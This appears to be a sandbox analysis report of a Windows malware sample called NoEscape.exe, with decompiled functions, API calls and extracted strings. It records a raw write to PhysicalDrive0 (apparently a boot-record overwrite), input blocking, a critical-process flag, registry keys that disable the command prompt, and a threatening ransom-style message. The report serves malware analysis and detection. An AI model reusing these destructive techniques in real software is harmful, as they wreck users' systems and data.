				_t278 = 0x1388 - _t149 + 1;
				_t151 = (_t149 | 0xffffffff) / _t278;
				_v188 = _t151;
				_v184 = _t203[1] + _t203[1] * 4;
				_v180 = _t151 * _t278;
				 *0x4050d4(0x4083a0, _t262, _t275, _t202, _t285);
				_t248 = _t203[2] ^  *_t203;
				_t263 = _t203[1];
				_t280 = _t203[3] ^ _t263;
				_t203[1] = _t248 ^ _t263;
				 *_t203 =  *_t203 ^ _t280;
				asm("rol esi, 0xb");
				_t203[2] = _t263 << 0x00000009 ^ _t248;
				_t203[3] = _t280;
				 *0x4050d8(0x4083a0);
				asm("rol eax, 0x7");
				_t159 = _v184 + _v184 * 8;
				__eflags = _t159 - _v180;
				if(_t159 >= _v180) {
					do {
						_t204 =  *0x4083b8; // 0x6c0438
						_v16 = _t204[1] + _t204[1] * 4;
						 *0x4050d4(0x4083a0);
						_t252 = _t204[2] ^  *_t204;
						_t266 = _t204[1];
						_t282 = _t204[3] ^ _t266;
						_t204[1] = _t252 ^ _t266;
						 *_t204 =  *_t204 ^ _t282;
						asm("rol esi, 0xb");
						_t204[2] = _t266 << 0x00000009 ^ _t252;
						_t204[3] = _t282;
						 *0x4050d8(0x4083a0);
						asm("rol eax, 0x7");
						_t159 = _v16 + _v16 * 8;
						__eflags = _t159 - _v12;
					} while (_t159 >= _v12);
				}
				_t161 = _t159 / _v20 + _v24;
				__eflags = _t161;
				return _t161;
				goto L38;
			}

0x004038a6
0x004038ad
0x004038b8
0x004038c8
0x004038ce
0x004038f1
0x004038fe
0x00403903
0x00403911
0x00403922
0x00403936
0x0040395f
0x00403967
0x0040396c
0x0040397f
0x0040397f
0x00403986
0x00403995
0x004039ab
0x004039b2
0x004039bd
0x004039ce
0x004039d7
0x004039d7
0x004039bf
0x004039c7
0x004039c7
0x004039e3
0x00403a1d
0x00403a21
0x00403a24
0x00403a4e
0x00403a51
0x00403a57
0x00403a69
0x00403a6b
0x00403a6d
0x00403a73
0x00403a76
0x00403a78
0x00403a78
0x00403a8c
0x00403a90
0x00403a97
0x00403a9d
0x00403aa3
0x00403aa8
0x00403aae
0x00403a78
0x00403ab4
0x00403ad6
0x00403ae2
0x00403ae9
0x00403af2
0x00403af6
0x00403af9
0x00403aff
0x00403b05
0x00403b08
0x00403b1d
0x00403b26
0x00000000
0x00000000
0x00403b36
0x00403bea
0x00403c11
0x00403c1a
0x00403c20
0x00403c26
0x00403c32
0x00403c44
0x00403c46
0x00403c4b
0x00403c50
0x00403c52
0x00403c59
0x00403c5c
0x00000000
0x00000000
0x00403c60
0x00403c60
0x00403c62
0x00403c68
0x00403c68
0x00403c6a
0x00403c76
0x00403c80
0x00403c85
0x00403c8b
0x00403c90
0x00403c6c
0x00403c6c
0x00403c6e
0x00000000
0x00403c70
0x00403c70
0x00403c70
0x00403c6e
0x00403c94
0x00403c95
0x00403c9b
0x00403c9d
0x00403c9d
0x00403cab
0x00403cb4
0x00403cbc
0x00403cc2
0x00403cc5
0x00403cca
0x00403ccc
0x00000000
0x00000000
0x00000000
0x00403ccc
0x00403cdd
0x00000000
0x00403b3c
0x00403b3c
0x00403b42
0x00403b74
0x00403b74
0x00403b81
0x00403b8c
0x00403b99
0x00000000
0x00403b9f
0x00403ba5
0x00403bb0
0x00403bbd
0x00403bca
0x00403bdc
0x00403bdc
0x00403b99
0x00000000
0x00403b36
0x00403ce4
0x00403cea
0x00403cea
0x00403cec
0x00403cf1
0x00403cf1
0x00403d0d
0x00403d11
0x00403d1c
0x00403d1e
0x00403d23
0x00403d25
0x00403d2a
0x00403d2a
0x00403d33
0x00403d4a
0x00403d64
0x00403d70
0x00403d7c
0x00403d8c
0x00403d99
0x00403da1
0x00403da6
0x00403dba
0x00403dc9
0x00403dce
0x00403dcf
0x00403dd8
0x00403dda
0x00403de2
0x00403dec
0x00403ded
0x00403df2
0x00403e01
0x00403e04
0x00403e07
0x00403e10
0x00403e12
0x00403e1c
0x00403e1e
0x00403e26
0x00403e2a
0x00403e32
0x00403e35
0x00403e38
0x00403e41
0x00403e44
0x00403e47
0x00403e4a
0x00403e50
0x00403e50
0x00403e61
0x00403e64
0x00403e6d
0x00403e6f
0x00403e79
0x00403e7b
0x00403e83
0x00403e87
0x00403e8f
0x00403e92
0x00403e95
0x00403e9e
0x00403ea1
0x00403ea4
0x00403ea4
0x00403e50
0x00403eaf
0x00403eaf
0x00403eb7
0x00000000

APIs

NtSetInformationProcess.NTDLL(0000001D,?,00000004,?), ref: 004038C8
lstrlenW.KERNEL32(C:\Users\user\AppData\Local), ref: 004038D9
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 004038F1
wsprintfW.USER32 ref: 00403903

Part of subcall function 004015C0: FindResourceW.KERNEL32(00000000,FFC51803,0000000A), ref: 004015F2
Part of subcall function 004015C0: LoadResource.KERNEL32(00000000,00000000), ref: 004015FD
Part of subcall function 004015C0: CreateFileW.KERNELBASE(006D5DD0,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00401618
Part of subcall function 004015C0: SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00401632
Part of subcall function 004015C0: LockResource.KERNEL32(00000000,00000000), ref: 0040163A
Part of subcall function 004015C0: WriteFile.KERNELBASE(00000000,00000000), ref: 00401642
Part of subcall function 004015C0: CloseHandle.KERNEL32(00000000), ref: 00401649
Part of subcall function 004015C0: FreeResource.KERNEL32(00000000), ref: 00401650

SystemParametersInfoW.USER32(00000014,00000000,00000001), ref: 00403922
HeapFree.KERNEL32(00000000), ref: 00403936
RtlAllocateHeap.NTDLL(00000008,00000200), ref: 00403949
CreateFileW.KERNEL32(\\.\PhysicalDrive0,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 00403961
WriteFile.KERNEL32(00000000,00000000,00000200,?,00000000), ref: 0040397F
CloseHandle.KERNEL32(00000000), ref: 00403986
HeapFree.KERNEL32(00000000,00000000), ref: 00403995
RtlAllocateHeap.NTDLL(00000008,0000000C), ref: 004039A5
FindWindowExW.USER32(00000002,00000000,Edit,00000000), ref: 004039F7
CreateFontW.GDI32(00000032,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,Courier New), ref: 00403A24
lstrlenW.KERNEL32(THERE IS NO ESCAPE NOW.DO NOT TRY TO CLOSE THIS WINDOW,YOUR COMPUTER IS NOW DONE FOR ANYWAY.DO YOU WANT TO ENJOY THE LAS), ref: 00403A31
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 00403A43
lstrlenW.KERNEL32(THERE IS NO ESCAPE NOW.DO NOT TRY TO CLOSE THIS WINDOW,YOUR COMPUTER IS NOW DONE FOR ANYWAY.DO YOU WANT TO ENJOY THE LAS), ref: 00403A51
BlockInput.USER32(00000001), ref: 00403A57
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 00403A69
SendMessageW.USER32(00000000,0000000C,00000000,?), ref: 00403A90
Sleep.KERNEL32(00000096), ref: 00403A97
BlockInput.USER32(00000000), ref: 00403AB4
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00403AC9
RtlAllocateHeap.NTDLL(00000008), ref: 00403AE9
lstrcpyW.KERNEL32(00000000,?), ref: 00403AF9
SendMessageW.USER32(?,0000000D,-0000000D,?), ref: 00403B11
lstrcmpW.KERNEL32(745DBB20,yes), ref: 00403B22
lstrcmpW.KERNEL32(745DBB20,004062D0), ref: 00403B32
lstrcmpW.KERNEL32(745DBB20,004062E8), ref: 00403B4C
lstrcmpW.KERNEL32(745DBB20,004062EC), ref: 00403B58
lstrcmpW.KERNEL32(745DBB20,004062F4), ref: 00403B64
SendMessageW.USER32(?,0000000C,00000000,?), ref: 00403B74
GetExitCodeProcess.KERNEL32(?,00000000), ref: 00403B81
Sleep.KERNEL32(000000FA), ref: 00403B8C
HeapFree.KERNEL32(00000000,00000001), ref: 00403BB0
HeapFree.KERNEL32(00000000,?), ref: 00403BBD
HeapFree.KERNEL32(00000000,?), ref: 00403BCA
RtlAllocateHeap.NTDLL(00000008,00000402), ref: 00403BEA

Part of subcall function 00403DD0: RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E07
Part of subcall function 00403DD0: RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E38
Part of subcall function 00403DD0: RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E64
Part of subcall function 00403DD0: RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E95

CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,Verdana), ref: 00403C20
SendMessageW.USER32(?,0000000C,00000000,00000000), ref: 00403C32
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00403C44
SendMessageW.USER32(?,0000000C,00000000,00000000), ref: 00403CAB
GetExitCodeProcess.KERNEL32(?,00000103), ref: 00403CB4
Sleep.KERNEL32(00000032), ref: 00403CBC
HeapFree.KERNEL32(00000000,00000000), ref: 00403CDD
SendMessageW.USER32(?,0000000C,00000000,?), ref: 00403D11
Sleep.KERNEL32(000000C8), ref: 00403D1C
Sleep.KERNEL32(000003E8), ref: 00403D33
CreateThread.KERNEL32(00000000,00000000,00403880,00000000,00000000,00000000), ref: 00403DBA

Strings

notepad.exe, xrefs: 004039AD, 004039D2, 004039DE, 00403D77
AutoRestartShell, xrefs: 00403D3B
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 00403D40
Edit, xrefs: 004039ED
C:\Windows\system32, xrefs: 00403D82
\\.\PhysicalDrive0, xrefs: 0040395A
mspaint.exe, xrefs: 00403D94
Courier New, xrefs: 004039FD
SOFTWARE\Policies\Microsoft\Windows\System, xrefs: 00403D5A
taskmgr.exe, xrefs: 00403DA1
DisableCMD, xrefs: 00403D55
yes, xrefs: 00403B17
C:\Windows\notepad.exe, xrefs: 004039C2
C:\Users\user\AppData\Local, xrefs: 004038D4, 004038F3
%s\noescape.png, xrefs: 004038F8
THERE IS NO ESCAPE NOW.DO NOT TRY TO CLOSE THIS WINDOW,YOUR COMPUTER IS NOW DONE FOR ANYWAY.DO YOU WANT TO ENJOY THE LAS, xrefs: 00403A2A, 00403A49
Verdana, xrefs: 00403BF0
explorer.exe, xrefs: 00403D6B
cmd.exe, xrefs: 00403D87

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Heap$MessageSend$Free$Allocate$CreateResourceSleeplstrcmp$CriticalFileProcessSection$lstrlen$BlockCloseCodeEnterExitFindFontHandleInputLeaveWrite$InfoInformationLoadLockOpenParametersSizeofSystemThreadWindowlstrcpywsprintf
String ID: %s\noescape.png$AutoRestartShell$C:\Users\user\AppData\Local$C:\Windows\notepad.exe$C:\Windows\system32$Courier New$DisableCMD$Edit$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$SOFTWARE\Policies\Microsoft\Windows\System$THERE IS NO ESCAPE NOW.DO NOT TRY TO CLOSE THIS WINDOW,YOUR COMPUTER IS NOW DONE FOR ANYWAY.DO YOU WANT TO ENJOY THE LAS$Verdana$\\.\PhysicalDrive0$cmd.exe$explorer.exe$mspaint.exe$notepad.exe$taskmgr.exe$yes
API String ID: 387662806-2386575435
Opcode ID: 82290a7b21d9096b654bd2aa69a6c2d1d0dc5ecd3540e1b481aae68632041bb7
Instruction ID: 5d4aff058aa999133c647cc310c8f388f55f71ed5458f1659e9c42d7a7589571
Opcode Fuzzy Hash: 82290a7b21d9096b654bd2aa69a6c2d1d0dc5ecd3540e1b481aae68632041bb7
Instruction Fuzzy Hash: 97D19431A80704BBEB205BA09E56F6F3B69EB44B41F10403AF741BE2E1CAB959118F5C

Uniqueness

Uniqueness Score: -1.00%

Function 004019C0, Relevance: 16.6, APIs: 11, Instructions: 148
nativewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00403420: GetSystemMetrics.USER32(00000000), ref: 00403433
Part of subcall function 00403420: GetSystemMetrics.USER32(00000001), ref: 0040343C
Part of subcall function 00403420: SelectObject.GDI32(?,?), ref: 00403497
Part of subcall function 00403420: Sleep.KERNEL32(00001388,?,0000004B,?,?,?,00403DCE,00000032,0000004B), ref: 004034A4
Part of subcall function 00403420: StretchBlt.GDI32(?,00000000,00000000,00000032,0000004B,?,00000000,00000000,?,00403DCE,00CC0020), ref: 004034CA
Part of subcall function 00403420: StretchBlt.GDI32(?,00000000,00000000,?,00403DCE,?,00000000,00000000,00000032,0000004B,00CC0020), ref: 004034ED
Part of subcall function 00403420: DeleteObject.GDI32(?), ref: 0040350A
Part of subcall function 00403420: DeleteDC.GDI32(?), ref: 0040351C
Part of subcall function 00403420: Beep.KERNEL32(000003E8,00000BB8), ref: 0040352C
Part of subcall function 00403420: ExitProcess.KERNEL32 ref: 00403534

LoadImageW.USER32(00000070,00000000,00000000,00000000,00000000), ref: 00401A29
BeginPaint.USER32(?,?), ref: 00401A6D
SelectObject.GDI32(00000000), ref: 00401A89
GetObjectW.GDI32(00000018,?,?,?), ref: 00401A9E
SelectObject.GDI32(?,00000000), ref: 00401ACD
DeleteDC.GDI32(?), ref: 00401AD4
EndPaint.USER32(?,?,?,?), ref: 00401AE3
NtSetInformationProcess.NTDLL(0000001D,?), ref: 00401B14
ExitProcess.KERNEL32 ref: 00401B30
DeleteObject.GDI32 ref: 00401B3C
PostQuitMessage.USER32(00000000), ref: 00401B4B

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Object$Delete$ProcessSelect$ExitMetricsPaintStretchSystem$BeepBeginImageInformationLoadMessagePostQuitSleep
String ID:
API String ID: 3511480151-0
Opcode ID: 1de8d2e468f3adb28626c111ff24beb3d52ec96859fdab3d5653f85b84940530
Instruction ID: 511a9c2b5d8f160bc39cbee74690b80bb85990af23b1bd8359e00c0161b1e570
Opcode Fuzzy Hash: 1de8d2e468f3adb28626c111ff24beb3d52ec96859fdab3d5653f85b84940530
Instruction Fuzzy Hash: E841A171504704AFE7109FA0ED0AB6F7BA8EF88711F40452EFA41AA1E1DBB595108F9E

Uniqueness

Uniqueness Score: -1.00%

Function 004019E0, Relevance: 16.6, APIs: 11, Instructions: 129
nativewindowCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E004019E0(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				struct tagPAINTSTRUCT _v76;
				signed int _v80;
				void _v128;
				struct HDC__* _v132;
				intOrPtr _v136;
				struct tagPAINTSTRUCT _v148;
				intOrPtr _v152;
				struct HDC__* _v188;
				struct HWND__* _v192;
				signed int _t30;
				void* _t32;
				signed int _t48;

				_t50 = (_t48 & 0xfffffff0) - 0x7c;
				_t30 =  *0x408014; // 0xffc51803
				_v8 = _t30 ^ (_t48 & 0xfffffff0) - 0x0000007c;
				_t39 = _a8;
				_t45 = _a4;
				_v148.fIncUpdate = _a4;
				_t32 = _a8 - 1;
				if(_t32 > 0x15) {
					L7:
					 *0x40517c(_a12, _a16);
					return E0040410C(_v24 ^ _t50, _t45, _t39);
				} else {
					switch( *((intOrPtr*)(( *(_t32 + 0x401ba0) & 0x000000ff) * 4 +  &M00401B88))) {
						case 0:
							 *0x4083c4 = LoadImageW( *0x4083d8, 0x70, 0, 0, 0, 0);
							return E0040410C(_v8 ^ _t50);
							goto L8;
						case 1:
							__eax = DeleteObject( *0x4083c4);
							_push(__esi);
							__eax =  *0x405180();
							PostQuitMessage(0);
							__eax = 0;
							_pop(__esi);
							__ecx = _v16;
							__ecx = _v16 ^ __esp;
							return E0040410C(_v16 ^ __esp);
							goto L8;
						case 2:
							_push(0x40);
							__eax =  &_v76;
							_push(0);
							_push( &_v76);
							L00404A40();
							__esp = __esp + 0xc;
							__eax =  &_v76;
							asm("xorps xmm0, xmm0");
							asm("movaps [esp+0x10], xmm0");
							asm("movq [esp+0x20], xmm0");
							__eax = BeginPaint(__esi,  &_v76);
							_push(__eax);
							_v148.fRestore = __eax;
							__eax =  *0x405050();
							_v132 = __eax;
							__esi = __eax;
							 &_v128 = GetObjectW( *0x4083c4, 0x18,  &_v128);
							_push(0xcc0020);
							_push(0);
							_push(0);
							_push(_v152);
							_push(_v132);
							_push(_v136);
							_push(0);
							_push(0);
							_push(_v148.hdc);
							__eax =  *0x405054();
							__esi = _v188;
							SelectObject(__esi, __esi) = DeleteDC(__esi);
							 &_v148 = EndPaint(_v192,  &_v148);
							__eax = 0;
							_pop(__esi);
							__ecx = _v80;
							__ecx = _v80 ^ __esp;
							return E0040410C(_v80 ^ __esp);
							goto L8;
						case 3:
							__eax =  &(_v148.fIncUpdate);
							_v148.fIncUpdate = 0;
							NtSetInformationProcess( *0x4083d0, 0x1d,  &(_v148.fIncUpdate), 4) = 0;
							_pop(__esi);
							__ecx = _v20;
							__ecx = _v20 ^ __esp;
							return E0040410C(_v20 ^ __esp);
							goto L8;
						case 4:
							ExitProcess(0);
						case 5:
							goto L7;
					}
				}
				L8:
			}

0x004019e6
0x004019e9
0x004019f0
0x004019f4
0x004019f8
0x004019fb
0x004019ff
0x00401a05
0x00401b65
0x00401b6d
0x00401b82
0x00401a0b
0x00401a12
0x00000000
0x00401a2f
0x00401a45
0x00000000
0x00000000
0x00401b3c
0x00401b42
0x00401b43
0x00401b4b
0x00401b51
0x00401b53
0x00401b54
0x00401b58
0x00401b62
0x00000000
0x00000000
0x00401a48
0x00401a4a
0x00401a4e
0x00401a50
0x00401a51
0x00401a56
0x00401a59
0x00401a5d
0x00401a60
0x00401a65
0x00401a6d
0x00401a73
0x00401a74
0x00401a78
0x00401a84
0x00401a8f
0x00401a9e
0x00401aa4
0x00401aa9
0x00401aab
0x00401aad
0x00401ab1
0x00401ab5
0x00401ab9
0x00401abb
0x00401abd
0x00401ac1
0x00401ac8
0x00401ad4
0x00401ae3
0x00401ae9
0x00401aeb
0x00401aec
0x00401af0
0x00401afa
0x00000000
0x00000000
0x00401aff
0x00401b03
0x00401b1a
0x00401b1c
0x00401b1d
0x00401b21
0x00401b2b
0x00000000
0x00000000
0x00401b30
0x00000000
0x00000000
0x00000000
0x00401a12
0x00000000

APIs

LoadImageW.USER32(00000070,00000000,00000000,00000000,00000000), ref: 00401A29
BeginPaint.USER32(?,?), ref: 00401A6D
SelectObject.GDI32(00000000), ref: 00401A89
GetObjectW.GDI32(00000018,?,?,?), ref: 00401A9E
SelectObject.GDI32(?,00000000), ref: 00401ACD
DeleteDC.GDI32(?), ref: 00401AD4
EndPaint.USER32(?,?,?,?), ref: 00401AE3
NtSetInformationProcess.NTDLL(0000001D,?), ref: 00401B14
ExitProcess.KERNEL32 ref: 00401B30
DeleteObject.GDI32 ref: 00401B3C
PostQuitMessage.USER32(00000000), ref: 00401B4B

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: Object$DeletePaintProcessSelect$BeginExitImageInformationLoadMessagePostQuit
String ID:
API String ID: 1421717757-0
Opcode ID: afd150941365185608f034b51aecacf766bd423779a2bb2442463b7fbada75ad
Instruction ID: 71f837e9fb0f7557a98d7760a0f0068957551e8c22f41d9de3a60c03d5df445b
Opcode Fuzzy Hash: afd150941365185608f034b51aecacf766bd423779a2bb2442463b7fbada75ad
Instruction Fuzzy Hash: 37418071504704AFE7109FA0ED0AB6F7BA8EF88711F40452EFA41AA1E1DBB595108F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040101C

Strings

NoEscape.exe, xrefs: 004010B6

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: NoEscape.exe
API String ID: 3332741929-764170641
Opcode ID: 0913893a3e12faff47418d77e3cc7119a9b1e232306fa9d54a4cf8120524add5
Instruction ID: eede19bc12e5d8f60a19fb07ee22e8b43530f607bec8eeb612e9232bfbde5ce6
Opcode Fuzzy Hash: 0913893a3e12faff47418d77e3cc7119a9b1e232306fa9d54a4cf8120524add5
Instruction Fuzzy Hash: F121CC717001186BD720DBB9AD95B7F73ACEB94314F10027BE905F71C1DA79DD444A98

Uniqueness

Uniqueness Score: -1.00%

Function 00403DD0, Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E07
RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E38
RtlEnterCriticalSection.NTDLL(004083A0), ref: 00403E64
RtlLeaveCriticalSection.NTDLL(004083A0), ref: 00403E95

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 91e811265addf37b6740adc4f26d01b2b473f3e132361fc97af92a1ba57ac1dc
Instruction ID: f65f54cfcbab50b2546655d39c638ec7b24c23a4d493cf133b07068bbc5af419
Opcode Fuzzy Hash: 91e811265addf37b6740adc4f26d01b2b473f3e132361fc97af92a1ba57ac1dc
Instruction Fuzzy Hash: 16311A71A00614DFCB04CF69DA8494ABBF5EF8871071AC5AAE818EF259D734A911CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00404858, Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00404858(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0x408384 =  *0x408384 & 0x00000000;
				 *0x408018 =  *0x408018 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v12 = _v28 ^ 0x49656e69;
				_v8 = _v36 ^ 0x756e6547;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
					L9:
					_t96 =  *0x408388; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0x408388 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0x408018; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0x408384 = 1;
					 *0x408018 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0x408384 = 2;
						 *0x408018 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0x408018; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0x408384 = 3;
								 *0x408018 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0x408384 = 5;
									 *0x408018 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0x408018 =  *0x408018 | 0x00000040;
										 *0x408384 = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0x408388; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0x408388 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x00404858
0x0040485b
0x00404865
0x00404875
0x00404a24
0x00404a27
0x00404a27
0x0040487b
0x00404881
0x00404886
0x0040488a
0x0040488e
0x0040488f
0x00404891
0x00404894
0x00404899
0x004048a2
0x004048b3
0x004048be
0x004048c4
0x004048c5
0x004048ca
0x004048cd
0x004048d2
0x004048da
0x004048dd
0x004048e0
0x00404925
0x00404925
0x0040492b
0x0040492b
0x00404930
0x00404931
0x00404937
0x00404968
0x00404939
0x0040493b
0x0040493c
0x00404941
0x00404944
0x00404946
0x00404949
0x0040494c
0x0040494f
0x00404952
0x0040495b
0x00404960
0x00404960
0x0040495b
0x0040496b
0x00404970
0x00404973
0x0040497d
0x00404988
0x0040498e
0x00404991
0x0040499b
0x004049a6
0x004049b2
0x004049b5
0x004049b8
0x004049c3
0x004049c8
0x004049ca
0x004049cf
0x004049d2
0x004049dc
0x004049e4
0x004049e9
0x004049f3
0x00404a01
0x00404a14
0x00404a1b
0x00404a1b
0x00404a01
0x004049e4
0x004049c8
0x004049a6
0x00000000
0x00404a23
0x004048e5
0x004048ef
0x00404914
0x0040491a
0x0040491d
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040486E

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ff449d7fbeba047c9e41a00671a40cda7a7ea45eca8c4072ce5ae88681571c94
Instruction ID: 74c15c19bed17a2aac271b744c92950fd1c5ea986df27315e944fbf0213e2158
Opcode Fuzzy Hash: ff449d7fbeba047c9e41a00671a40cda7a7ea45eca8c4072ce5ae88681571c94
